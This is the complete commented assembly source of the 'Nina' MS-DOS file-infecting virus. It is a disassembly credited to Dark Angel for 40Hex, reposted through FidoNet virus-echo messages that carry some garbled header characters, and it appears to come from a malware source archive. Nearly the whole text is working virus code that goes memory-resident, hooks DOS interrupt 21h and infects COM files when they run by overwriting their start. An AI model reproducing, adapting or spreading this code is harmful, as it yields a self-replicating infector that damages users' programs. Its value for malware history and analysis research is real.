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MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.vir45.asm

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NASM
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2021-01-13 00:07:35 +00:00
;<3B> PVT.VIRII (2:465/65.4) <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> PVT.VIRII <20>
; Msg : 35 of 54
; From : MeteO 2:5030/136 Tue 09 Nov 93 09:14
; To : - *.* - Fri 11 Nov 94 08:10
; Subj : NINA.ASM
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;.RealName: Max Ivanov
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;* Kicked-up by MeteO (2:5030/136)
;* Area : VIRUS (Int: <20><><EFBFBD><EFBFBD>p<EFBFBD><70><EFBFBD><EFBFBD><EFBFBD> <20> <20><>p<EFBFBD><70><EFBFBD><EFBFBD>)
;* From : Daniel Hendry, 2:283/718 (06 Nov 94 17:37)
;* To : Viral Doctor
;* Subj : NINA.ASM
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;@RFC-Path:
;ddt.demos.su!f400.n5020!f3.n5026!f2.n51!f550.n281!f512.n283!f35.n283!f7.n283!f7
;18.n283!not-for-mail
;@RFC-Return-Receipt-To: Daniel.Hendry@f718.n283.z2.fidonet.org
.model tiny
.code
org 100h
; Disassembly done by Dark Angel of Phalcon/Skism
; for 40Hex Number 9, Volume 2 Issue 5
start:
push ax
mov ax,9753h ; installation check
int 21h
mov ax,ds
dec ax
mov ds,ax ; ds->program MCB
mov ax,ds:[3] ; get size word
push bx
push es
sub ax,40h ; reserve 40h paragraphs
mov bx,ax
mov ah,4Ah ; Shrink memory allocation
int 21h
mov ah,48h ; Allocate 3Fh paragraphs
mov bx,3Fh ; for the virus
int 21h
mov es,ax ; copy virus to high
xor di,di ; memory
mov si,offset start + 10h ; start at MCB:110h
mov cx,100h ; (same as PSP:100h)
rep movsb
sub ax,10h ; adjust offset as if it
push ax ; originated at 100h
mov ax,offset highentry
push ax
retf
endfile dw 100h ; size of infected COM file
highentry:
mov byte ptr cs:[0F2h],0AAh ; change MCB's owner so the
; memory isn't freed when the
; program terminates
mov ax,3521h ; get int 21h vector
int 21h
mov word ptr cs:oldint21,bx ; save it
mov word ptr cs:oldint21+2,es
push es
pop ds
mov dx,bx
mov ax,2591h ; redirect int 91h to int 21h
int 21h
push cs
pop ds
mov dx,offset int21
mov al,21h ; set int 21h to virus vector
int 21h
pop ds ; ds->original program PSP
pop bx
push ds
pop es
return_COM:
mov di,100h ; restore original
mov si,endfile ; file
add si,di ; adjust for COM starting
mov cx,100h ; offset
rep movsb
pop ax
push ds ; jmp back to original
mov bp,100h ; file (PSP:100)
push bp
retf
exit_install:
pop ax ; pop CS:IP and flags in
pop ax ; order to balance the
pop ax ; stack and then exit the
jmp short return_COM ; infected COM file
int21:
cmp ax,9753h ; installation check?
je exit_install
cmp ax,4B00h ; execute?
jne exitint21 ; nope, quit
push ax ; save registers
push bx
push cx
push dx
push ds
call infect
pop ds ; restore registers
pop dx
pop cx
pop bx
pop ax
exitint21:
db 0eah ; jmp far ptr
oldint21 dd ?
infect:
mov ax,3D02h ; open file read/write
int 91h
jc exit_infect
mov bx,ax
mov cx,100h
push cs
pop ds
mov ah,3Fh ; Read first 100h bytes
mov dx,offset endvirus
int 91h
mov ax,word ptr endvirus
cmp ax,'MZ' ; exit if EXE
je close_exit_infect
cmp ax,'ZM' ; exit if EXE
je close_exit_infect
cmp word ptr endvirus+2,9753h ; exit if already
je close_exit_infect ; infected
mov al,2 ; go to end of file
call move_file_pointer
cmp ax,0FEB0h ; exit if too large
ja close_exit_infect
cmp ax,1F4h ; or too small for
jb close_exit_infect ; infection
mov endfile,ax ; save file size
call write
mov al,0 ; go to start of file
call move_file_pointer
mov dx,100h ; write virus
call write
close_exit_infect:
mov ah,3Eh ; Close file
int 91h
exit_infect:
retn
move_file_pointer:
push dx
xor cx,cx
xor dx,dx
mov ah,42h
int 91h
pop dx
retn
write:
mov ah,40h
mov cx,100h
int 91h
retn
db 'Nina'
endvirus:
int 20h ; original COM file
end start
;-+- Terminate 1.50/Pro
; + Origin: Rampton Birds' Box, +358-31-3564751, 28.800bps, 24h (2:283/718)
;=============================================================================
;
;Yoo-hooo-oo, -!
;
;
; <20> The Me<4D>eO
;
;/yx Extended memory swapping
;
;--- Aidstest Null: /Kill
; * Origin: <20>PVT.ViRII<49>main<69>board<72> / Virus Research labs. (2:5030/136)
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